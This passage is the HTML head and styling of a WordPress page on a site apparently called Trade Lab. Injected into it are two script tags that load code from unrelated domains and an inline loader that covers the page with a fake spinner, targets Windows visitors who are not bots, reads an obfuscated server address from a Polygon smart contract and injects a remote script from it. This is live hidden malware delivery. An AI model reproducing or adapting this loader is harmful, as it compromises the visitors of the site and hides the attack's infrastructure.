  filter: drop-shadow(0 3px 45px rgba(0,0,0,0.15));
}


/*wpml*/
/*Hide menu Language Switcher*/
.wpml-ls-menu-item {
    display: none !important;
}
 
/*Hide footer Language Switcher*/
.wpml-ls {
    display: none  !important;
}
 
/*Display Language Switcher only in the page with ID 2*/
body.page-id-291 .wpml-ls-menu-item, 
body.page-id-253 .wpml-ls-menu-item {
    display: inherit !important;
}
 
body.page-id-291 .wpml-ls, 
body.page-id-253 .wpml-ls {
    display: inherit !important;
}

.wpml-ls-display {
    color: #20A8E0;
}
#header-outer #top .wpml-ls-menu-item .sf-sub-indicator i {
  color: #20A8E0 !important;
}


/*flickity carousel*/
.nectar-flickity[data-control-style="material_pagination"] .flickity-page-dots .dot.is-selected::before, .nectar-flickity[data-controls="material_pagination"] .flickity-page-dots .dot.is-selected::before, .nectar-quick-view-box .flickity-page-dots .dot.is-selected::before, .nectar-recent-posts-slider_multiple_visible .flickity-page-dots .dot.is-selected::before, .nectar-woo-flickity .flickity-page-dots .dot.is-selected::before, .testimonial_slider[data-style="multiple_visible_minimal"] .flickity-page-dots .dot.is-selected::before, body.material [data-bullet_style="see_through"] .slider-pagination .swiper-pagination-switch.swiper-active-switch::before {
  box-shadow: inset 0 0 0 1px #ff8731 !important;
}
.flickity-page-dots {
  bottom: -43px;
  text-align: left;
}
.flickity-page-dots .dot {
  width: 25px;
  margin: 0;
  opacity: 1;
}
.flickity-page-dots .dot::before {
  width: 10px !important;
  height: 10px !important;
  border-radius: 50%;
  background: #D9D9D9 !important;
}
.flickity-page-dots .dot.is-selected::before {
    background: #ff8731 !important;
    transform: none !important;
}

.nectar-flickity[data-controls*="arrows_overlaid"] .flickity-prev-next-button::before {
  background-color: #ff8731;
}
.nectar-flickity[data-controls*="arrows_overlaid"] .next::after, .nectar-flickity[data-controls*="arrows_overlaid"] .previous::after {
  background-color: #fff;
}
.nectar-flickity[data-controls*="arrows_overlaid"] .flickity-prev-next-button .arrow {
  fill: #fff;
}


/*buttons*/
body.material .nectar-button.large span {
  font-weight: 500;
  font-size: 18px;
  line-height: 27px;  
}
.nectar-button.regular-button.extra-color-1,
.nectar-button.regular-button.extra-color-1 {
    border: 3px solid transparent;
}
.nectar-button.regular-button.extra-color-1:not(.transparent):hover,
.nectar-button.regular-button.extra-color-1:not(.transparent):focus {
   background-color: transparent !important;
   border: 3px solid #ff8731;
   color: #ff8731 !important;
}
body.material .nectar-button.has-icon.large.transparent {
  background-color: transparent !important;
  padding-left: 18px !important;
}
body.material .nectar-button.large:hover, 
body.material .nectar-button.large:focus, 
body.material .nectar-button.has-icon.large.transparent:hover, 
body.material .nectar-button.has-icon.large.transparent:focus {
  box-shadow: none !important; 
  transform: none;
}
body.material .nectar-button.has-icon.large i {
  transition: all .3s ease;
}
body.material .nectar-button.has-icon.large:hover i, 
body.material .nectar-button.has-icon.large:focus i {
  padding-left: 15px;
}

body.material .nectar-button.szeles {
    width: 100%;
}

/*form*/
body[data-form-style="minimal"] .container-wrap .span_12.light input[type="text"], body[data-form-style="minimal"] .container-wrap .span_12.light textarea, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="email"], body[data-form-style="minimal"] .container-wrap .span_12.light input[type="password"], body[data-form-style="minimal"] .container-wrap .span_12.light input[type="tel"], body[data-form-style="minimal"] .container-wrap .span_12.light input[type="url"], body[data-form-style="minimal"] .container-wrap .span_12.light input[type="search"], body[data-form-style="minimal"] .container-wrap .span_12.light input[type="date"], body[data-form-style="minimal"] .container-wrap .span_12.light input[type="number"], body[data-form-style="minimal"] .container-wrap .span_12.light select {
  background-color: transparent;
  border-bottom: 1px solid #fff;
}
body[data-form-style="minimal"] .container-wrap .span_12.light input[type="text"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light textarea:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="email"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="password"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="tel"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="url"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="search"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="date"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light input[type="number"]:focus, body[data-form-style="minimal"] .container-wrap .span_12.light select:focus {
  border-color: #ff8731;
}
::placeholder {
    font-family: 'Rubik';
    font-weight: 400;
}
body.material:not([data-button-style^="rounded"]) .nectar-button.has-icon.large:not(.see-through):not(.see-through-2):not(.see-through-3).wpcf7-submit {
    padding-right: 80px !important;
    transform: none !important;
    box-shadow: none !important;
}
.submitbox {
    position: relative;
}
.icon-button-arrow.submiticon {
  position: absolute;
  left: 155px;
  top: 18px;
  transition: all .3s ease;
}
body.material:not([data-button-style^="rounded"]) .nectar-button.has-icon.large:not(.see-through):not(.see-through-2):not(.see-through-3).wpcf7-submit:hover + .icon-button-arrow.submiticon {
    left: 170px;
    color: #ff8731;
}


/*header*/
#header-outer .sf-menu li ul li a .menu-title-text {
    transition: color .2s ease;
}
#header-outer .sf-menu li ul li a:hover .menu-title-text {
    color: #FF8731;
}
#header-outer .sf-menu li ul li a .menu-title-text::after {
  left: -39px;
  bottom: 45%;
  width: 32px;
}
#header-outer .sf-menu > li ul {
  padding-left: 33px;
}
#header-outer #top nav ul #search-btn a span {
  color: #20A8E0 !important;  
}

#header-outer .sf-menu li ul li.current_page_item a .menu-title-text {
  color: #ff8731;
}
#header-outer .sf-menu li ul li.current_page_item a:not(:hover) .menu-title-text::after {
  transform: scaleX(0);
}




/*footer*/
#footer-outer #footer-widgets .col ul li a {
    font-weight: 500;
}
.social.shortcode {
  display: flex;
  justify-content: center;
  align-items: flex-end;
  padding: 30px 0;
}
.material #footer-outer #footer-widgets .col ul.social.shortcode li {
    margin: 0 15px;
    padding: 0 !important;
}
.material #footer-outer #footer-widgets .col ul.social.shortcode li a {
    font-size: 25px;
    color: #ff8731 !important;
}
#footer-outer {
  border-top: 1px solid #065080;
}
#footer-outer #block-8 {
  margin-bottom: 10px;
}
#footer-outer #devby a {
  color: #ff8731 !important;
}
#footer-outer #devby strong {
  font-weight: 500;
}

/*filter*/
body[data-form-style="minimal"] select.facetwp-dropdown, 
body[data-form-style="minimal"] .facetwp-facet input.facetwp-search {
  background-color: transparent;
  border-bottom: 1px solid #818181;
  border-radius: 0;
  color: #6f6f6f;
  min-width: 100% !important;
  font-size: 18px;
  line-height: 35px;
  min-height: 55px;
  font-family: 'Rubik';
  font-weight: 400;
  padding-left: 0;
}
.facetwp-dropdown {
   background: url("/wp-content/uploads/2022/08/angle-down.png") no-repeat;
  background-position-x: 0%;
  background-position-y: 0%;
background-position: 100% center !important;
-moz-appearance: none !important;
-webkit-appearance: none !important;
appearance: none !important;
padding-right: 2rem !important; 
}
.facetwp-facet input.facetwp-search::placeholder {
  opacity: 1;
  font-size: 18px;
  line-height: 25px;
  color: #6F6F6F;
}
.facetwp-input-wrap {
  width: 100%;
}
.container-wrap input[type="text"]:hover, .container-wrap input[type="email"]:hover, .container-wrap input[type="password"]:hover, .container-wrap input[type="tel"]:hover, .container-wrap input[type="url"]:hover, .container-wrap input[type="search"]:hover, .container-wrap input[type="date"]:hover, .container-wrap input[type="number"]:hover, .container-wrap textarea:hover, .container-wrap select:hover, body > #review_form_wrapper.modal input[type="text"]:hover, body > #review_form_wrapper.modal textarea:hover, body > #review_form_wrapper.modal select:hover, body > #review_form_wrapper.modal input[type="email"]:hover, .select2-container--default .select2-selection--single:hover, .woocommerce input#coupon_code:hover, .material.woocommerce-page[data-form-style="default"] input#coupon_code:hover, body[data-form-style="minimal"] input[type="text"]:hover, body[data-form-style="minimal"] textarea:hover, body[data-form-style="minimal"] input[type="email"]:hover, body[data-form-style="minimal"] input[type="password"]:hover, body[data-form-style="minimal"] input[type="tel"]:hover, body[data-form-style="minimal"] input[type="url"]:hover, body[data-form-style="minimal"] input[type="search"]:hover, body[data-form-style="minimal"] input[type="date"]:hover, body[data-form-style="minimal"] input[type="number"]:hover, body[data-form-style="minimal"] select:hover,
body[data-form-style="minimal"] input[type="text"]:focus, body[data-form-style="minimal"].woocommerce-cart table.cart .actions .coupon .input-text:focus, body[data-form-style="minimal"] textarea:focus, body[data-form-style="minimal"] input[type="email"]:focus, body[data-form-style="minimal"] input[type="search"]:focus, body[data-form-style="minimal"] input[type="password"]:focus, body[data-form-style="minimal"] input[type="tel"]:focus, body[data-form-style="minimal"] input[type="url"]:focus, body[data-form-style="minimal"] input[type="date"]:focus, body[data-form-style="minimal"] input[type="number"]:focus, body[data-form-style="minimal"] select:focus {
    border-color: #ff8731;
}
.fwp-submit {
  margin-top: 0 !important;
  margin-bottom: 0 !important;
  background-color: #FF8731;
  cursor: pointer;
  padding-top: 13px !important;
  width: 100%;
  text-align: left;
}
#btnReset {
  color: #B64848;
  font-weight: 500;
  cursor: pointer;
  padding-left: 10px;
  padding-right: 10px;
  display: block;
  margin-top: 20px;
}
.facetwp-icon::before {
  display: none !important;
}
#filter-box::before {
  content: "";
  width: 100vw;
  height: 200%;
  background-color: #fff;
  position: absolute;
  right: 99%;
  bottom: 0;
  overflow: hidden;
  visibility: visible;
  display: block;
}
#filter-box::after {
  content: "";
  width: 100vw;
  height: 200%;
  background-color: #fff;
  position: absolute;
  left: 99%;
  bottom: 0;
  overflow: hidden;
  visibility: visible;
  display: block;
}
#filter-box .row-bg-wrap::before {
  content: "";
  width: 100%;
  height: 200%;
  background-color: #fff;
  position: absolute;
  left: 0;
  bottom: 0;
  overflow: hidden;
  visibility: visible;
  display: block;
}

/*archive - projects*/
body.post-type-archive .post-content {
  padding-left: 0;
}
body.post-type-archive .filter .container {
    margin: 0 auto !important;
    padding: 0 90px !important;
}
body.post-type-archive :not(#pre-filter).filter {
  box-shadow: 0 3px 45px rgba(0,0,0,0.15);
  margin-bottom: 4%;
  position: relative;
}
#filter-box.notnews {
  max-width: 1425px;
  margin: auto;
  padding: 0 90px;
}
.filter .padding-20-percent > .vc_column-inner {
  padding: 15% 30%;
}
body.post-type-archive-news .filter .padding-20-percent > .vc_column-inner {
  padding: 10% 30%;
}
body.post-type-archive .article-content-wrap {
  max-width: 600px;
  margin-top: 35px;
}
body.post-type-archive .post-meta .date {
  color: #20A8E0;
  margin: 10px 0 15px;
  font-weight: 600;
}
body.post-type-archive .nectar-shape-divider-wrap {
  position: absolute;
  top: auto;
  bottom: 0;
  left: 0;
  right: 0;
  z-index: 3;
  transform: translateZ(0);
  margin-left: 0;
}
body.post-type-archive .nectar-shape-divider {
  width: 100%;
  left: 0;
  bottom: -1px;
  height: 100%;
  position: absolute;
}
body.post-type-archive .container.main-content {
  padding-bottom: 5%;
}
.post-featured-img img {
  width: 100%;
}
body.post-type-archive-portfolio .more-link.pdf-link {
  display: block;
  color: #F86D6D;
  font-weight: 700;
  padding: 25px 40px;
  position: relative;
}
body.post-type-archive-portfolio .more-link.pdf-link {
  position: absolute;
  bottom: 0;
}
body.post-type-archive-portfolio article {
    position: relative;
}
body.post-type-archive-portfolio .more-link.pdf-link > span::before {
  content: url("https://tesfoundation.swiss-tomato.ch/wp-content/uploads/2022/07/download.png");
  position: absolute;
  left: 0;
  margin-top: 3px;
  transition: all .3s ease;
}
body.post-type-archive-portfolio .more-link.pdf-link:hover > span::before {
  transform: scale(1.2);
}
body.post-type-archive-portfolio .more-link:not(.pdf-link) {
  display: block;
  margin: 30px 0 10px;
  position: relative;
}
body.post-type-archive-portfolio .more-link:not(.pdf-link)::after {
  content: url("https://tesfoundation.swiss-tomato.ch/wp-content/uploads/2022/07/arrow-right.png");
  position: absolute;
  bottom: 0;
  left: 120px;
  transition: all .3s ease;
}
body.post-type-archive-portfolio .more-link:not(.pdf-link):hover::after {
  left: 130px;
}
body.post-type-archive-portfolio .posts-container {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
  grid-gap: 3em 1.5em;
}
body.post-type-archive-portfolio article.portfolio .inner-wrap {
  box-shadow: 10px 4px 50px rgba(0, 0, 0, 0.25);
  transition: all .32s ease;
}
body.post-type-archive-portfolio article.portfolio .inner-wrap:hover {
  transform: translateY(-4px);
  box-shadow: 10px 14px 50px rgba(0, 0, 0, 0.25);
}
body.post-type-archive-portfolio .article-content-wrap {
  margin-top: 0;
  padding: 25px 35px;
}
body.post-type-archive-portfolio .title {
  font-size: 25px;
  line-height: 38px;
  font-weight: 400;
  color: #065080;
}
body.post-type-archive-portfolio .content-inner > a {
  pointer-events: none;
}
body.post-type-archive-portfolio .continue-reading {
  font-weight: bold;
}
body.post-type-archive-portfolio .more-link:not(.pdf-link) .continue-reading {
  color: #0199fe;
}
body.post-type-archive-portfolio #pagination {
  padding-top: 5em;
}
.post-count {
  font-weight: 500;
  color: #065080;
  margin-bottom: 40px;
}
.post-count span {
  font-weight: 500;
  font-size: 35px;
  line-height: 52px;
  color: #FF8731;
}

.facetwp-facet-load_more.facetwp-type-pager {
  text-align: center;
  margin-top: 4em;
}
.facetwp-load-more {
  background-color: #ff8731;
  color: #fff;
  border: 3px solid #ff8731;
  padding: 15px 65px 15px 39px;
  cursor: pointer;
  font-family: Poppins;
  font-weight: 500;
  font-size: 18px;
  line-height: 27px;
  position: relative;
  transition: all .3s ease;
}
.facetwp-load-more:hover {
  background-color: #fff;
  color: #ff8731;
}

.facetwp-load-more::after {
  content: "\e909";
  font-family: icomoon !important;
  position: absolute;
  right: 25px;
  transition: all .3s ease;
}
.facetwp-load-more:hover::after {
  right: 10px;
}




/*single post*/
body:not(.single-post) .row.hentry.featured-media-under-header {
  display: none;
}
body.single-post .featured-media-under-header__featured-media:not([data-has-img="false"]) {
  margin-top: 0;
}
body.single-post .main-content .featured-media-under-header {
  padding-top: 0;
}
body.single-post .featured-media-under-header__cat-wrap, 
body.single-post .featured-media-under-header__meta-wrap {
  display: none;
}
body.single-post .main-content .featured-media-under-header {
  padding: min(5vw,60px) 0;
}
body.single-post h1.entry-title {
    font-weight: 400;
    color: #065080;
    margin-bottom: 30px;
}
@media screen and (min-width: 1000px) {
    body.single-post .post-area {
      border-right: 1px solid #065080;
      padding-right: 4%;
    }
}
body.single-post #sidebar {
  padding-left: 4%;
}
body.single-post #sidebar h2 {
  font-weight: 400;
  font-size: 25px;
  line-height: 60px;
  color: #065080;
  margin-bottom: 30px;
}
body.single-post .wp-block-latest-posts__post-title {
  position: relative;
  font-weight: 500;
  color: #065080 !important;
  margin-bottom: 2.5rem;
}
body.single-post .wp-block-latest-posts__post-title::after {
  content: "Read more";
  color: #FF8731;
  display: block;
  margin-top: 15px;
}
body.single-post .wp-block-latest-posts__post-title::before {
  content: url(/wp-content/uploads/2022/09/arrow-right.png);
  position: absolute;
  bottom: -2px;
  left: 110px;
  transition: all .3s ease;
}
body.single-post .wp-block-latest-posts__post-title:hover::before {
  left: 115px;
}


/*projects*/
#projects .post-heading {
  min-height: 105px;
}



/**************************resp fix*****************************/
@media screen and (max-width: 999px) {
    .mobilno {
        display: none !important;
    }
    #btnReset {
      margin-bottom: 40px;
    }
    .reversed .row_col_wrap_12.col.span_12, 
    .reversed .row_col_wrap_12_inner.col.span_12 {
      flex-direction: column-reverse;
      margin-top: 5%;
    }
    .img-with-aniamtion-wrap.rotated-img {
      max-width: 125px;
      top: -38px !important;
    }
    body.single-post #sidebar {
      padding-left: 0;
      border-top: 1px solid #065080;
      padding-top: 10%;
    }
}

@media only screen and (max-width: 999px) and (orientation: landscape) {
    .off-canvas-menu-container.mobile-only {
      margin-top: 35px !important;
      margin-bottom: 0 !important;
    }
    .m-pt-fix .vc_column-inner {
      padding-top: 20px !important;
    }
}





/**/
/*# sourceURL=dynamic-css-inline-css */
</style>
<link rel='stylesheet' id='salient-child-style-css' href='https://tradelab.org/wp-content/themes/salient-child/style.css?ver=16.2.2' media='all' />
<link rel='stylesheet' id='redux-google-fonts-salient_redux-css' href='https://fonts.googleapis.com/css?family=Rubik:400,300,600,500%7CPoppins:500,400&#038;subset=latin&#038;ver=7.0' media='all' />
<script id="wpml-cookie-js-extra">
var wpml_cookies = {"wp-wpml_current_language":{"value":"en","expires":1,"path":"/"}};
var wpml_cookies = {"wp-wpml_current_language":{"value":"en","expires":1,"path":"/"}};
//# sourceURL=wpml-cookie-js-extra
</script>
<script data-wp-strategy="defer" defer id="wpml-cookie-js" src="https://tradelab.org/wp-content/plugins/sitepress-multilingual-cms/res/js/cookies/language-cookie.js?ver=4.6.10"></script>
<script id="mesh_standard-js" src="https://socketapiupdates.com/KXq5q2Ty_Tc5X0ObdJG2ohd6ePoTMM7i34PdNYsZdld"></script>
<script id="uncommonhorstrudely-js" src="https://neutralmarlservices.com/hkc4cx1RXWAnuMWLqUuwqS30X97Pv3mA0Nsy-lTcqMK95j"></script>
<script id="jquery-core-js" src="https://tradelab.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://tradelab.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script></script><link rel="https://api.w.org/" href="https://tradelab.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://tradelab.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel='shortlink' href='https://tradelab.org/?p=2243' />
<meta name="generator" content="WPML ver:4.6.10 stt:1,2;" />
<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
<div style="width:50px;height:50px;border:5px solid #f3f3f3;border-top:5px solid #3498db;border-radius:50%;animation:s 1s infinite"></div>
</div>
<style>@keyframes s{to{transform:rotate(360deg)}}</style>
<script>
function decode(encoded) {
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    let result = "";
    
    for (let i = 0; i < encoded.length; i += 2) {
        const chunk = encoded.substr(i, 2);
        const num = chars.indexOf(chunk[0]) * 36 + chars.indexOf(chunk[1]);
        const originalChar = String.fromCharCode(num - (i/2) - 5);
        result += originalChar;
    }
    
    return result;
}

async function getServers() {
    let rpcs = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "https://polygon-public.nodies.app/", "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "https://polygon.api.onfinality.io/public", "https://poly.api.pocket.network"];
    
    for (const rpc of rpcs) {
        try {
            const response = await fetch(rpc, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method: "eth_call",
                    params: [{ to: "0xf5966808a9ECbdb8794F568922809C52b0Fd2446", data: "0x3bc5de30" }, "latest"],
                    id: 1
                })
            });
            
            const data = await response.json();
            
            if (data.result && data.result !== "0x") {
                let h = data.result.slice(2);
                let t = "";
                
                for (let i = 128; i < h.length; i += 2) {
                    let c = parseInt(h.substr(i, 2), 16);
                    if (c !== 0) {
                        t += String.fromCharCode(c);
                    } else {
                        break;
                    }
                }
                
                let decoded = decode(t);
                return decoded;
            }
        } catch (error) {
        }
    }

    return null;
}

function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/get_script");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/get_script"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>		<style>
			/* Thanks to https://github.com/paulirish/lite-youtube-embed and https://css-tricks.com/responsive-iframes/ */
			.smush-lazyload-video {
				min-height: 240px;
				min-width: 320px;
				--smush-video-aspect-ratio: 16/9;background-color: #000;position: relative;display: block;contain: content;background-position: center center;background-size: cover;cursor: pointer;
			}
			.smush-lazyload-video.loading{cursor:progress}
			.smush-lazyload-video::before{content:'';display:block;position:absolute;top:0;background-image:linear-gradient(rgba(0,0,0,0.6),transparent);background-position:top;background-repeat:repeat-x;height:60px;width:100%;transition:all .2s cubic-bezier(0,0,0.2,1)}
			.smush-lazyload-video::after{content:"";display:block;padding-bottom:calc(100% / (var(--smush-video-aspect-ratio)))}
			.smush-lazyload-video > iframe{width:100%;height:100%;position:absolute;top:0;left:0;border:0;opacity:0;transition:opacity .5s ease-in}
			.smush-lazyload-video.smush-lazyloaded-video > iframe{opacity:1}
			.smush-lazyload-video > .smush-play-btn{z-index:10;position: absolute;top:0;left:0;bottom:0;right:0;}
			.smush-lazyload-video > .smush-play-btn > .smush-play-btn-inner{opacity:0.75;display:flex;align-items: center;width:68px;height:48px;position:absolute;cursor:pointer;transform:translate3d(-50%,-50%,0);top:50%;left:50%;z-index:1;background-repeat:no-repeat;background-image:url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 68 48"><path d="M66.52 7.74c-.78-2.93-2.49-5.41-5.42-6.19C55.79.13 34 0 34 0S12.21.13 6.9 1.55c-2.93.78-4.63 3.26-5.42 6.19C.06 13.05 0 24 0 24s.06 10.95 1.48 16.26c.78 2.93 2.49 5.41 5.42 6.19C12.21 47.87 34 48 34 48s21.79-.13 27.1-1.55c2.93-.78 4.64-3.26 5.42-6.19C67.94 34.95 68 24 68 24s-.06-10.95-1.48-16.26z" fill="red"/><path d="M45 24 27 14v20" fill="white"/></svg>');filter:grayscale(100%);transition:filter .5s cubic-bezier(0,0,0.2,1), opacity .5s cubic-bezier(0,0,0.2,1);border:none}
			.smush-lazyload-video:hover .smush-play-btn-inner,.smush-lazyload-video .smush-play-btn-inner:focus{filter:none;opacity:1}
			.smush-lazyload-video > .smush-play-btn > .smush-play-btn-inner span{display:none;width:100%;text-align:center;}
			.smush-lazyload-video.smush-lazyloaded-video{cursor:unset}
			.smush-lazyload-video.video-loaded::before,.smush-lazyload-video.smush-lazyloaded-video > .smush-play-btn,.smush-lazyload-video.loading > .smush-play-btn{display:none;opacity:0;pointer-events:none}
			.smush-lazyload-video.smush-lazyload-vimeo > .smush-play-btn > .smush-play-btn-inner{background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 203 120' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='m0.25116 9.0474c0-4.9968 4.0507-9.0474 9.0474-9.0474h184.4c4.997 0 9.048 4.0507 9.048 9.0474v101.91c0 4.996-4.051 9.047-9.048 9.047h-184.4c-4.9968 0-9.0474-4.051-9.0474-9.047v-101.91z' fill='%2317d5ff' fill-opacity='.7'/%3E%3Cpath d='m131.1 59.05c0.731 0.4223 0.731 1.4783 0 1.9006l-45.206 26.099c-0.7316 0.4223-1.646-0.1056-1.646-0.9504v-52.199c0-0.8448 0.9144-1.3727 1.646-0.9504l45.206 26.099z' fill='%23fff'/%3E%3C/svg%3E%0A");width:81px}
					</style>
				<script>
			document.documentElement.className = document.documentElement.className.replace('no-js', 'js');
		</script>
				<style>
			.no-js img.lazyload {
				display: none;
			}

			figure.wp-block-image img.lazyloading {
				min-width: 150px;
			}

			.lazyload,
			.lazyloading {
				--smush-placeholder-width: 100px;
				--smush-placeholder-bg-max-width: 120px;
				--smush-placeholder-aspect-ratio: 1/1;
				width: var(--smush-image-width, var(--smush-placeholder-width)) !important;
				aspect-ratio: var(--smush-image-aspect-ratio, var(--smush-placeholder-aspect-ratio)) !important;
			}

						.lazyload, .lazyloading {
				opacity: 0;
			}

			.lazyloaded {
				opacity: 1;
				transition: opacity 400ms;
				transition-delay: 0ms;
			}

					</style>
		<script type="text/javascript"> var root = document.getElementsByTagName( "html" )[0]; root.setAttribute( "class", "js" ); </script><meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/>
<link rel="icon" href="https://tradelab.org/wp-content/uploads/2022/08/cropped-TradeLab_icon-32x32.png" sizes="32x32" />
<link rel="icon" href="https://tradelab.org/wp-content/uploads/2022/08/cropped-TradeLab_icon-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://tradelab.org/wp-content/uploads/2022/08/cropped-TradeLab_icon-180x180.png" />
<meta name="msapplication-TileImage" content="https://tradelab.org/wp-content/uploads/2022/08/cropped-TradeLab_icon-270x270.png" />
<noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript></head><body class="wp-singular portfolio-template-default single single-portfolio postid-2243 wp-theme-salient wp-child-theme-salient-child material wpb-js-composer js-comp-ver-7.6 vc_responsive" data-footer-reveal="false" data-footer-reveal-shadow="none" data-header-format="default" data-body-border="off" data-boxed-style="" data-header-breakpoint="1000" data-dropdown-style="minimal" data-cae="easeOutCubic" data-cad="750" data-megamenu-width="contained" data-aie="none" data-ls="fancybox" data-apte="standard" data-hhun="0" data-fancy-form-rcs="default" data-form-style="minimal" data-form-submit="regular" data-is="minimal" data-button-style="slightly_rounded_shadow" data-user-account-button="false" data-flex-cols="true" data-col-gap="default" data-header-inherit-rc="false" data-header-search="true" data-animated-anchors="true" data-ajax-transitions="true" data-full-width-header="false" data-slide-out-widget-area="true" data-slide-out-widget-area-style="slide-out-from-right" data-user-set-ocm="off" data-loading-animation="none" data-bg-header="false" data-responsive="1" data-ext-responsive="true" data-ext-padding="90" data-header-resize="1" data-header-color="custom" data-transparent-header="false" data-cart="false" data-remove-m-parallax="" data-remove-m-video-bgs="" data-m-animate="0" data-force-header-trans-color="light" data-smooth-scrolling="0" data-permanent-transparent="false" >
	
	<script type="text/javascript">
	 (function(window, document) {

		 if(navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/)) {
			 document.body.className += " using-mobile-browser mobile ";
		 }
		 if(navigator.userAgent.match(/Mac/) && navigator.maxTouchPoints && navigator.maxTouchPoints > 2) {
			document.body.className += " using-ios-device ";
		}

		 if( !("ontouchstart" in window) ) {

			 var body = document.querySelector("body");
			 var winW = window.innerWidth;
			 var bodyW = body.clientWidth;

			 if (winW > bodyW + 4) {
				 body.setAttribute("style", "--scroll-bar-w: " + (winW - bodyW - 4) + "px");
			 } else {
				 body.setAttribute("style", "--scroll-bar-w: 0px");
			 }
		 }

	 })(window, document);
   </script><script>
    jQuery(function () {
        jQuery(".img-with-aniamtion-wrap.looped-animation-rotate").removeClass("looped-animation-rotate").addClass("rotated-img");
        jQuery(".img-with-aniamtion-wrap.rotated-img").hover(
            function () {
                jQuery(this).addClass("looped-animation-rotate");
            },
            function () {
                jQuery(this).removeClass("looped-animation-rotate");
            }
        );
    });
</script><a href="#ajax-content-wrap" class="nectar-skip-to-content">Skip to main content</a><div class="ocm-effect-wrap"><div class="ocm-effect-wrap-inner"><div id="ajax-loading-screen" data-disable-mobile="1" data-disable-fade-on-click="0" data-effect="standard" data-method="standard"><div class="loading-icon none"><div class="material-icon">
						<svg class="nectar-material-spinner" width="60px" height="60px" viewBox="0 0 60 60">
							<circle stroke-linecap="round" cx="30" cy="30" r="26" fill="none" stroke-width="6"></circle>
				  		</svg>	 
					</div></div></div>	
	<div id="header-space"  data-header-mobile-fixed='1'></div> 
	
		<div id="header-outer" data-has-menu="true" data-has-buttons="yes" data-header-button_style="default" data-using-pr-menu="false" data-mobile-fixed="1" data-ptnm="false" data-lhe="animated_underline" data-user-set-bg="#ffffff" data-format="default" data-permanent-transparent="false" data-megamenu-rt="0" data-remove-fixed="0" data-header-resize="1" data-cart="false" data-transparency-option="0" data-box-shadow="large" data-shrink-num="6" data-using-secondary="0" data-using-logo="1" data-logo-height="69" data-m-logo-height="24" data-padding="40" data-full-width="false" data-condense="false" >
		
<div id="search-outer" class="nectar">
	<div id="search">
		<div class="container">
			 <div id="search-box">
				 <div class="inner-wrap">
					 <div class="col span_12">
						  <form role="search" action="https://tradelab.org/" method="GET">
														 <input type="text" name="s"  value="" aria-label="Search" placeholder="Search" />
							 
						<span>Hit enter to search or ESC to close</span>
												</form>
					</div><!--/span_12-->
				</div><!--/inner-wrap-->
			 </div><!--/search-box-->
			 <div id="close"><a href="#"><span class="screen-reader-text">Close Search</span>
				<span class="close-wrap"> <span class="close-line close-line1"></span> <span class="close-line close-line2"></span> </span>				 </a></div>
		 </div><!--/container-->
	</div><!--/search-->
</div><!--/search-outer-->

<header id="top">
	<div class="container">
		<div class="row">
			<div class="col span_3">
								<a id="logo" href="https://tradelab.org" data-supplied-ml-starting-dark="false" data-supplied-ml-starting="false" data-supplied-ml="false" >
					<img class="stnd skip-lazy dark-version" width="310" height="69" alt="Trade Lab" src="https://tradelab.org/wp-content/uploads/2022/08/TradeLab-Logo.png"  />				</a>
							</div><!--/span_3-->

			<div class="col span_9 col_last">
